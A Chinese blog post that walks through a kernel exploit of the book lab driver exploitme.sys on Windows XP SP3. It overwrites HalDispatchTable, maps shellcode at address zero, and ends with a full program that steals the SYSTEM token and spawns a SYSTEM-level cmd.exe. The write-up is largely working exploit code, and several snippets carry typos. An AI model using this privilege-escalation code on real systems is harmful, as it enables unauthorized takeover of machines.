OD: Kernel Exploit
分类:
IT文章
•
2023-11-23 16:57:19
本节接前方,对 exploitme.sys 进行利用。
exploitme.sys 存在任意地址写任意内容的内核漏洞,现在采用执行 Ring0 Shellcode 的方式进行利用。
获取 HalDispatchTable 表地址 x
HalDispatchTable 是由内核模块导出的,要得到 HalDispatchTable 在内核中的准确地址,先要得到内核模块的基址,再加上 HalDispatchTable 与内核模块的偏移:
1 NTSATUS NtSataus = STATUS_UNSUCCESSFUL;
2 ULONG ReturnLength = 0;
3 ULONG ImageBase = 0;
4 PVOID MAppedBase = NULL;
5 UCHAR ImageName[KERNEL_NAME_LENGTH] = {0};
6 ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
7 PVOID HalDispatchTable = NULL;
8 PVOID xHalQuerySystemInformation = NULL;
9 ULONG ShellCodeSize = (ULONG)EndofMyShellCode - (ULONG)MyShellCode;
10 PVOID ShellCodeAddress = NULL;
11 UNICODE_STRING DllName = {0};
12 SYSTEM_MODULE_INFORMATION_EX *ModuleInformation = NULL;
13 int RetryTimes = 10;
14
15 //////////////////////////////////////////////////
16 // 获取内核模块基址和内核模块名称
17 //////////////////////////////////////////////////
18 // 获取内核模块列表数据大小到 ReturnLength
19 //////////////////////////////////////////////////
20 NtStatus = ZwQuerySystemInformation(
21 SystemModuleInformation,
22 ModuleInformation,
23 ReturnLength,
24 &ReturnLength);
25 if(NtStatus != STATUS_INFO_LENGTH_MISMATCH)
26 return;
27
28 // 申请内存 存放内核模块列表数据
29 ModuleInformation = (SYSTEM_MODULE_INFORMATION_EX *)malloc(ReturnLength);
30 if(!ModuleInformaiton)
31 return;
32 // 获取内核模块列表数据到 ModuleInformation
33 NtStatus = ZwQuerySystemInformation(
34 SystemModuleInformation,
35 ModuleInformation,
36 ReturnLength,
37 NULL);
38 if(NtStatus != STATUS_SUCCESS)
39 {
40 free(ModuleInformation);
41 return;
42 }
43
44 // 从内核模块列表获取内核第一个模块的基址和名称
45 ImageBase = (ULONG)(ModuleInformation->Modules[0].Base);
46 RtlMoveMemory(ImageName,
47 (PVOID)(ModuleInformation->Modules[0].ImageName +
48 ModuleInformation->Modules[0].ModuleNameOffset),
49 KERNEL_NAME_LENGTH);
50
51 // 释放存放内核模块列表的内存
52 free(ModuleInformation);
53
54 // 获取内核模块的 UnicodeString
55 RtlCreateUnicodeStringFromeAsciiz(&DllName, (PUCHAR)ImageName);
56
57 //////////////////////////////////////////////////
58 // 加载内核模块到本地进程
59 //////////////////////////////////////////////////
60 NtStatus = (NTSTATUS)LdrLoadDll(
61 NULL, // DllPath
62 &DllCHaracteristics, // DllCharacteristics
63 &DllName, // DllName
64 &MappedBase); // DllHandle
65 if(NtStatus)
66 return;
67
68 //////////////////////////////////////////////////
69 // 获取内核 HalDispatchTable 函数表地址
70 //////////////////////////////////////////////////
71 HalDispatchTable = GetProcAddress((HMODULE)MappedBase, "HalDispatchTable");
72 if(HalDispatchTable == NULL)
73 return;
74 HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)MappedBase + ImageBase);
75 xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable + sizeof(ULONG));
76
77 //////////////////////////////////////////////////
78 // 卸载本地进程中的内核模块
79 //////////////////////////////////////////////////
80 LdrUnloadDll((PVOID)MappedBase);
在 0x0 处申请一段内存,并写入 Ring0 Shellcode
在指定地址申请内存推荐使用 ZwAllocateVirtualMemory(),其第二个参数 BaseAddress 指向指定的要申请的内存地址。系统会从指定的地址开始向下搜寻,找到一段需要大小的内存。
1 //////////////////////////////////////////////////
2 // 在 0x0 处申请本地进程内存 存放 Ring0 Shellcode
3 //////////////////////////////////////////////////
4 ShellCodeAddress = (PVOID)sizeof(ULONG);
5 NtStatus = ZwAllocateVirtualMemory(
6 NtCurrentProcess(), // ProcessHandle
7 &ShellCodeAddress, // BaseAddress
8 0, // ZeroBits
9 &ShellCodeSize, // AllocationSize
10 MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, // AllocationType
11 PAGE_EXECUTE_READWRITE); // Protect
12 if(NtStatus)
13 return;
14 // 存放 ShellCode
15 RtlMoveMemory(ShellCodeAddress, (PVOID)MyShellCode, ShellCodeSize);
View Code
利用漏洞向 xHalQuerySystemInformation 写入 0x0
1 //////////////////////////////////////////////////
2 // 触发漏洞并利用
3 //////////////////////////////////////////////////
4 RtlInitUnicodeString(&DeviceName, L"\Device\ExploitMe");
5 // 打开 ExploitMe 设备
6 ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
7 ObjectAttributes.RootDirectory = 0;
8 ObjectAttributes.ObjectName = &DeviceName;
9 ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
10 ObjectAttributes.SecurityDescriptor = NULL;
11 ObjectAttributes.SecurityQualityOfService = NULL;
12 NtStatus = NtCreateFile(
13 &DeviceHandle, // FileHandle
14 FILE_READE_DATA |
15 FILE_WRITE_DATA, // DesiredAccess
16 &ObjectAttributes, // ObjectAttributes
17 &IoStatusBlock, // IoStatusBlock
18 NULL, // AllocationSize OPTIONAL
19 0, // FileAttributes
20 FILE_SHARE_READ |
21 FILE_SHARE_WRITE, // ShareAccess
22 FILE_OPEN_IF, // CreateDisposition
23 0, // CreateOptions
24 NULL, // EaBuffer OPTIONAL
25 0); // EaLength
26 if(NtStatus)
27 {
28 printf("NtCreateFile failed! NtStatus=%.8X
", NtStatus);
29 goto ret;
30 }
31 // 利用漏洞将 HalQuerySystemInformation() 地址改为 0x0
32 InputData = 0;
33 NtStatus = NtDeviceIoControlFile(
34 DeviceHandle, // FileHandle
35 NULL, // Event
36 NULL, // ApcRoutine
37 NULL, // ApcContext
38 &IoStatusBlock, // IoStatusBlock
39 IOCTL_METHOD_NEITHER, // IoControlCode
40 &InputData, // InputBuffer
41 BUFFER_LENGTH, // InputBufferLength
42 xHalQuerySystemInformation, // OutputBuffer
43 BUFFER_LENGTH); // OutBufferLength
44 if(NtStatus)
45 {
46 printf("NtDeviceIoControlFile failed! NtStatus=%.8X
", NtStatus);
47 goto ret;
48 }
View Code
调用 NtQueryIntervalProfile()
为检验 Ring0 Shellcode 被成功调用,在 Ring0 Shellcode 中将全局变量 g_isRing0ShellcodeCalled 赋为 1,调用完 NtQueryIntervalProfile() 后可检测。
1 // 漏洞利用
2 while(RetryTimes > 0)
3 {
4 NtStatus = NtQueryIntervalProfile(
5 ProfileTotalIssues, // Source
6 NULL); // Interval
7 if(NtStatus == 0)
8 {
9 printf("NtQueryIntervalProfile() ok!
");
10 }
11 Sleep(1000);
12 if(g_isRing0ShellcodeCalled == 1)
13 break;
14 RetryTimes--;
15 }
16 if(RetryTimes == 0 && g_isRing0ShellcodeCalled==0)
17 printf("exploit failed!
");
18 else
19 printf("exploit success!
");
View Code
将 Ring0 Shellcode 写成假冒的 HalQuerySystemInformation()
1 NTSTATUS MyShellCode(
2 ULONG InformationClass,
3 ULONG BufferSize,
4 PVOID Buffer,
5 PULONG ReturnedLength)
6 {
7 // 关闭内核写保护
8 __asm
9 {
10 cli
11 mov eax, cr0
12 mov g_uCr0, eax
13 and eax, 0xFFFEFFFF
14 mov cr0, eax
15 }
16 // do something in ring0
17 // TODO
18
19 // 恢复内核写保护
20 __asm
21 {
22 sti
23 mov eax, g_uCr0
24 mov cr0, eax
25 }
26 // 将全局变量置 1
27 g_isRing0ShellcodeCalled = 1;
28 reutrn 0;
29 }
30 void EndofMyShellcode()
31 {
32 }
View Code
1 NTSTATUS MyShellCode(
2 ULONG InformationClass,
3 ULONG BufferSize,
4 PVOID Buffer,
5 PULONG ReturnedLength)
6 {
7 // 关闭内核写保护
8 __asm
9 {
10 cli
11 mov eax, cr0
12 mov g_uCr0, eax
13 and eax, 0xFFFEFFFF
14 mov cr0, eax
15 }
16 // do something in ring0
17
18 // 提权到 SYSTEM
19 __asm
20 {
21 mov eax, 0xFFDFF124 // eax = KPCR (not 3G mode)
22 mov eax, [eax] // eax = PETHREAD of current thread
23 mov esi, [eax+0x220] // esi = PEPROCESS of current process
24 mov eax, esi
25 searchXp:
26 mov eax, [eax+0x88]
27 sub eax, 0x88 // eax = next PEPROCESS in process chain
28 mov edx, [eax+0x84] // edx = PID of the process
29 cmp edx, 0x4 // search SYSTEM process by PID
30 jne searchXp
31 mov eax, [eax+0xC8] // eax = SYSTEM process token
32 mov [esi+0xC8], eax // change the token of current process
33 }
34 // 恢复内核写保护
35 __asm
36 {
37 sti
38 mov eax, g_uCr0
39 mov cr0, eax
40 }
41 g_isRing0ShellcodeCalled = 1;
42 reuturn 0;
43 }
以 SSDT Hook 为例介绍代码的编写。恢复代码可以放在 Ring0 Shellcode 中,但在恢复之前先要得到 SSDT 中原始的函数地址。获取原始地址可以在 Ring3 实现。
1 // 全局变量 内核中 SSDT 表的地址
2 ULONG g_RealSSDT = 0;
3 // 全局变量 SSDT 函数个数
4 ULONG g_ServiceNum = 0x11C;
5 // 全局变量 SSDT 函数原始地址数组
6 ULONG g_OrgService[0x11C];
7 //////////////////////////////////////////////
8 // 获取 SSDT 中函数的原始地址和 SSDT 表地址
9 //////////////////////////////////////////////
10 // 获取本地进程中加载的内核模块中的 KeServiceDescriptorTable 地址
11 ULONG KeSSDT = (ULONG)GetProcAddress((HMODULE)MappedBase,"KeServiceDescriptorTable");
12 if (KeSSDT == 0)
13 return;
14 // 获取本地进程中加载的内核模块中的 KiServiceTable 与 poh_ImageBase 的偏移
15 ULONG poh_ImageBase = 0;
16 ULONG KiSSDT = FindKiServiceTable((HMODULE)MappedBase,KeSSDT-(ULONG)MappedBase,&poh_ImageBase);
17 if (KiSSDT == 0)
18 return;
19 // 获取本地进程中加载的内核模块中的 KiServiceTable 地址
20 KiSSDT += (ULONG)MappedBase;
21 // 遍历本地进程中加载的内核模块中的 KiServiceTable 指向的列表,并换算内核中原始 SSDT 函数地址
22 for (ULONG i = 0; i < ServiceNum; i++)
23 {
24 g_OrgService[i] = *(ULONG*)(KiSSDT+i*sizeof(ULONG))+(ULONG)ImageBase-poh_ImageBase;
25 }
26 // 换算内核中 SSDT 表的地址
27 g_RealSSDT = KeSSDT - (ULONG)MappedBase + (ULONG)ImageBase;
1 // 恢复所有的 SSDT Hook
2 ULONG i;
3 for (i=0; i<g_ServiceNum; i++)
4 {
5 *(ULONG*)(*(ULONG*)g_RealSSDT+i*sizeof(ULONG)) = g_OrgService[i];
6 }
最后修改了随书光盘中测试 ExploitMe.sys 的 Ring3 测试代码,在 XP sp3 下测试能得到 SYSTEM 权限的 cmd.exe。但溢出之后会蓝屏,估计是其它代码调用了被修改过的 HalQuerySystemInformation(),代码如下:
1 // exploit.cpp : Defines the entry point for the console application.
2 //
3 // env:
4 // os: windows xp sp3
5 // ide: vs 2008
6
7 #include "stdafx.h"
8 #include <stdio.h>
9 #include <stdlib.h>
10 #include <windows.h>
11 #include <string.h>
12 #include "ntapi.h"
13 #pragma comment(linker,"/defaultlib:ntdll.lib")
14
15 #define PAGE_SIZE 0x1000
16 #define OBJ_CASE_INSENSITIVE 0x00000040
17 #define FILE_OPEN_IF 0x00000003
18 #define KERNEL_NAME_LENGTH 0x0D
19 #define BUFFER_LENGTH 0x04
20
21 //触发漏洞使用的IoControlCode
22 #define IOCTL_METHOD_NEITHER 0x8888A003
23
24 //Ring0中执行的Shellcode
25 NTSTATUS Ring0ShellCode(
26 ULONG InformationClass,
27 ULONG BufferSize,
28 PVOID Buffer,
29 PULONG ReturnedLength)
30 {
31 int g_uCr0;
32 __asm
33 {
34 cli;
35 mov eax, cr0;
36 mov g_uCr0,eax;
37 and eax,0xFFFEFFFF;
38 mov cr0, eax;
39 }
40 // 提权到 SYSTEM
41 __asm
42 {
43 mov eax, 0xFFDFF124 // eax = KPCR (not 3G mode)
44 mov eax, [eax] // eax = PETHREAD of current thread
45 mov esi, [eax+0x220] // esi = PEPROCESS of current process
46 mov eax, esi
47 searchXp:
48 mov eax, [eax+0x88]
49 sub eax, 0x88 // eax = next PEPROCESS in process chain
50 mov edx, [eax+0x84] // edx = PID of the process
51 cmp edx, 0x4 // search SYSTEM process by PID
52 jne searchXp
53 mov eax, [eax+0xC8] // eax = SYSTEM process token
54 mov [esi+0xC8], eax // change the token of current process
55 }
56 // 恢复内核写保护
57 __asm
58 {
59 sti
60 mov eax, g_uCr0
61 mov cr0, eax
62 }
63 //g_isRing0ShellcodeCalled = 1;
64 return 0;
65 }
66
67 //申请内存的函数
68 PVOID MyAllocateMemory(IN ULONG Length)
69 {
70 NTSTATUS NtStatus;
71 PVOID BaseAddress = NULL;
72 NtStatus = NtAllocateVirtualMemory(
73 NtCurrentProcess(),
74 &BaseAddress,
75 0,
76 &Length,
77 MEM_RESERVE |
78 MEM_COMMIT,
79 PAGE_READWRITE);
80 if(NtStatus == STATUS_SUCCESS)
81 {
82 RtlZeroMemory(BaseAddress, Length);
83 return BaseAddress;
84 }
85 return NULL;
86 }
87
88 //释放内存的函数
89 VOID MyFreeMemory(IN PVOID BaseAddress)
90 {
91 NTSTATUS NtStatus;
92 ULONG FreeSize = 0;
93 NtStatus = NtFreeVirtualMemory(
94 NtCurrentProcess(),
95 &BaseAddress,
96 &FreeSize,
97 MEM_RELEASE);
98 }
99
100 //main函数
101 int _tmain(int argc, _TCHAR* argv[])
102 {
103 NTSTATUS NtStatus;
104 HANDLE DeviceHandle=NULL;
105 ULONG ReturnLength = 0;
106 ULONG ImageBase;
107 PVOID MappedBase=NULL;
108 UCHAR ImageName[KERNEL_NAME_LENGTH];
109 ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
110 PVOID HalDispatchTable;
111 PVOID xHalQuerySystemInformation;
112 ULONG ShellCodeSize = PAGE_SIZE;
113 PVOID ShellCodeAddress;
114 PVOID BaseAddress = NULL;
115 UNICODE_STRING DeviceName;
116 UNICODE_STRING DllName;
117 ANSI_STRING ProcedureName;
118 OBJECT_ATTRIBUTES ObjectAttributes;
119 IO_STATUS_BLOCK IoStatusBlock;
120 SYSTEM_MODULE_INFORMATION *ModuleInformation = NULL;
121 LARGE_INTEGER Interval;
122 ULONG InputData=0;
123
124 //清空控制台屏幕
125 system("cls");
126
127 //获取内核模块列表数据长度到ReturnLength
128 NtStatus = NtQuerySystemInformation(
129 SystemModuleInformation,
130 ModuleInformation,
131 ReturnLength,
132 &ReturnLength);
133 if(NtStatus != STATUS_INFO_LENGTH_MISMATCH)
134 {
135 printf("NtQuerySystemInformation get len failed! NtStatus=%.8X
", NtStatus);
136 goto ret;
137 }
138
139 //申请内存
140 ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);
141 ModuleInformation = (SYSTEM_MODULE_INFORMATION *)MyAllocateMemory(ReturnLength);
142 if(ModuleInformation==NULL)
143 {
144 printf("MyAllocateMemory failed! Length=%.8X
", ReturnLength);
145 goto ret;
146 }
147
148 //获取内核模块列表数据
149 NtStatus = NtQuerySystemInformation(
150 SystemModuleInformation,
151 ModuleInformation,
152 ReturnLength,
153 NULL);
154 if(NtStatus != STATUS_SUCCESS)
155 {
156 printf("NtQuerySystemInformation get info failed! NtStatus=%.8X
", NtStatus);
157 goto ret;
158 }
159
160 //保存内核第一个模块(即nt模块)基址和名称,并打印
161 ImageBase = (ULONG)(ModuleInformation->Module[0].Base);
162 RtlMoveMemory(
163 ImageName,
164 (PVOID)(ModuleInformation->Module[0].ImageName +
165 ModuleInformation->Module[0].PathLength),
166 KERNEL_NAME_LENGTH);
167 printf("ImageBase=0x%.8X ImageName=%s
",ImageBase, ImageName);
168
169
170 //获取内核模块名称字符串的Unicode字符串
171 RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName);
172
173 //加载内核模块到本进程空间
174 NtStatus = LdrLoadDll(
175 NULL, // DllPath
176 &DllCharacteristics, // DllCharacteristics
177 &DllName, // DllName
178 &MappedBase); // DllHandle
179 if(NtStatus)
180 {
181 printf("LdrLoadDll failed! NtStatus=%.8X
", NtStatus);
182 goto ret;
183 }
184
185 //获取内核模块在本进程空间中导出名称HalDispatchTable的地址
186 RtlInitAnsiString(&ProcedureName, (PUCHAR)"HalDispatchTable");
187 NtStatus = LdrGetProcedureAddress(
188 (PVOID)MappedBase, // DllHandle
189 &ProcedureName, // ProcedureName
190 0, // ProcedureNumber OPTIONAL
191 (PVOID*)&HalDispatchTable); // ProcedureAddress
192 if(NtStatus)
193 {
194 printf("LdrGetProcedureAddress failed! NtStatus=%.8X
", NtStatus);
195 goto ret;
196 }
197
198 //计算实际的HalDispatchTable内核地址
199 HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)MappedBase);
200 HalDispatchTable = (PVOID)((ULONG)HalDispatchTable + (ULONG)ImageBase);
201
202 //HalDispatchTable中的第二个ULONG就是HalQuerySystemInformation函数的地址
203 xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable + sizeof(ULONG));
204
205 //打印HalDispatchTable内核地址和xHalQuerySystemInformation值
206 printf("HalDispatchTable=%p xHalQuerySystemInformation=%p
",
207 HalDispatchTable,
208 xHalQuerySystemInformation);
209
210 //设备名称的Unicode字符串
211 RtlInitUnicodeString(&DeviceName, L"\Device\ExploitMe");
212
213 //打开ExploitMe设备
214 ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
215 ObjectAttributes.RootDirectory = 0;
216 ObjectAttributes.ObjectName = &DeviceName;
217 ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
218 ObjectAttributes.SecurityDescriptor = NULL;
219 ObjectAttributes.SecurityQualityOfService = NULL;
220 NtStatus = NtCreateFile(
221 &DeviceHandle, // FileHandle
222 FILE_READ_DATA |
223 FILE_WRITE_DATA, // DesiredAccess
224 &ObjectAttributes, // ObjectAttributes
225 &IoStatusBlock, // IoStatusBlock
226 NULL, // AllocationSize OPTIONAL
227 0, // FileAttributes
228 FILE_SHARE_READ |
229 FILE_SHARE_WRITE, // ShareAccess
230 FILE_OPEN_IF, // CreateDisposition
231 0, // CreateOptions
232 NULL, // EaBuffer OPTIONAL
233 0); // EaLength
234 if(NtStatus)
235 {
236 printf("NtCreateFile failed! NtStatus=%.8X
", NtStatus);
237 goto ret;
238 }
239 //利用漏洞将HalQuerySystemInformation函数地址改为0
240 InputData = 0;
241 NtStatus = NtDeviceIoControlFile(
242 DeviceHandle, // FileHandle
243 NULL, // Event
244 NULL, // ApcRoutine
245 NULL, // ApcContext
246 &IoStatusBlock, // IoStatusBlock
247 IOCTL_METHOD_NEITHER, // IoControlCode
248 &InputData, // InputBuffer
249 BUFFER_LENGTH, // InputBufferLength
250 xHalQuerySystemInformation, // OutputBuffer
251 BUFFER_LENGTH); // OutBufferLength
252 if(NtStatus)
253 {
254 printf("NtDeviceIoControlFile failed! NtStatus=%.8X
", NtStatus);
255 goto ret;
256 }
257
258 //在本进程空间申请0地址内存
259 ShellCodeAddress = (PVOID)sizeof(ULONG);
260 NtStatus = NtAllocateVirtualMemory(
261 NtCurrentProcess(), // ProcessHandle
262 &ShellCodeAddress, // BaseAddress
263 0, // ZeroBits
264 &ShellCodeSize, // AllocationSize
265 MEM_RESERVE |
266 MEM_COMMIT |
267 MEM_TOP_DOWN, // AllocationType
268 PAGE_EXECUTE_READWRITE); // Protect
269 if(NtStatus)
270 {
271 printf("NtAllocateVirtualMemory failed! NtStatus=%.8X
", NtStatus);
272 goto ret;
273 }
274 printf("NtAllocateVirtualMemory succeed! ShellCodeAddress=%p
", ShellCodeAddress);
275
276 //复制Ring0ShellCode到0地址内存中
277 RtlMoveMemory(
278 ShellCodeAddress,
279 (PVOID)Ring0ShellCode,
280 ShellCodeSize);
281
282 //触发漏洞
283 NtStatus = NtQueryIntervalProfile(
284 ProfileTotalIssues, // Source
285 NULL); // Interval
286 if(NtStatus)
287 {
288 printf("NtQueryIntervalProfile failed! NtStatus=%.8X
", NtStatus);
289 goto ret;
290 }
291 printf("NtQueryIntervalProfile succeed!
");
292 system("start cmd.exe");
293
294
295 ret:
296 //释放申请的内存
297 if (ModuleInformation)
298 {
299 MyFreeMemory(ModuleInformation);
300 }
301 //卸载本进程中的内核模块
302 if (MappedBase)
303 {
304 LdrUnloadDll((PVOID)MappedBase);
305 }
306 //关闭句柄
307 if(DeviceHandle)
308 {
309 NtStatus = NtClose(DeviceHandle);
310 if(NtStatus)
311 {
312 printf("NtClose failed! NtStatus=%.8X
", NtStatus);
313 }
314 }
315 return 0;
316 }